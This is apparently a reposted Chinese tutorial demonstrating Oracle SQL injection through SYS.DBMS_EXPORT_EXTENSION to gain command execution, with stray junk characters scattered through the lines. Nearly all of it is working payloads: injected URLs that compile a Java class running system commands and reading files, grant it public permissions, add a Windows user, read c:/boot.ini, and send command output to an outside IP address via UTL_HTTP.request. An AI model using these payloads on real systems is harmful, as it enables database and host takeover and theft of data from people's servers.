实例演示oracle注入获取cmdshell的全过程

admin

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

% B" N  C( E- o5 h　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
: j! c2 M: Z; q. d5 R的形式即可。(用" 'a'|| "是为了让语句返回true值)
6 w8 y/ `; t% M' ~2 f+ z) e语句有点长，可能要用post提交。
以下是各个步骤：
9 @6 ^- q& q& l1.创建包
4 L% t0 e# N# x( |2 f- d通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
$ O7 G+ w  u" D/ w; K+ O0 F! F- jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
( u5 u; P2 F: p; S% B% _new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
: Q" D5 m+ k, M0 Z) ?" ^}'''';END;'';END;--','SYS',0,'1',0) from dual
)
/ u2 a) a3 @! D, z! L------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
! h; X, m+ i. |5 J: d! Q" cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. L$ r# l' P4 u8 R1 e; \8 p! ?  v: acreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
" S$ e% Z& O' ~; M, _0 C)
* N* w' m8 K# X* I7 G6 Y& b( D  k同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------
2.赋Java权限
6 g& N  S$ a" a% O; }0 Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
& h' L% C1 \. K0 g; Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
0 P* e( @; N8 U& {9 G% }. [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 \/ L/ q7 d, Ycreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4 J0 @$ x4 C5 v% m4.赋public执行函数的权限
4 E. V* M- }3 y0 D, V* Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
7 r+ q' M% Z1 ~" v* \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
  J' Z% j" _$ Z8 ?5.测试上面的几步是否成功
* ~$ D* @% {) R; G1 eand '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
% D# ^; ]; u% V" D. c( Q6.执行命令：
5 r- W" `9 W$ E. h/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

)
8 ~* R& M, p" W/xxx.jsp?id=1 and '1'<>(
* W! i4 z7 e/ wselect  sys.LinxReadFile('c:/boot.ini') from dual

% |8 i) R3 a8 P) D' })
7 h: V1 W2 [+ G% x6 {5 H　　
) o1 Y. g& |; H/ f注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
% R. }/ |, W, g, S: U或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
$ C' q, U# X. Q, A7 N: k% L3 J5 D! R) aSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
% j7 v8 Q5 p& M$ D* G, e# L)
, b0 x! J# T4 l& D9 y0 @/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。

6.内部变化
0 r  S9 Y& ?, X& L通过以下命令可以查看all_objects表达改变：
8 R. d- _# i/ }9 w1 d3 {/ fselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
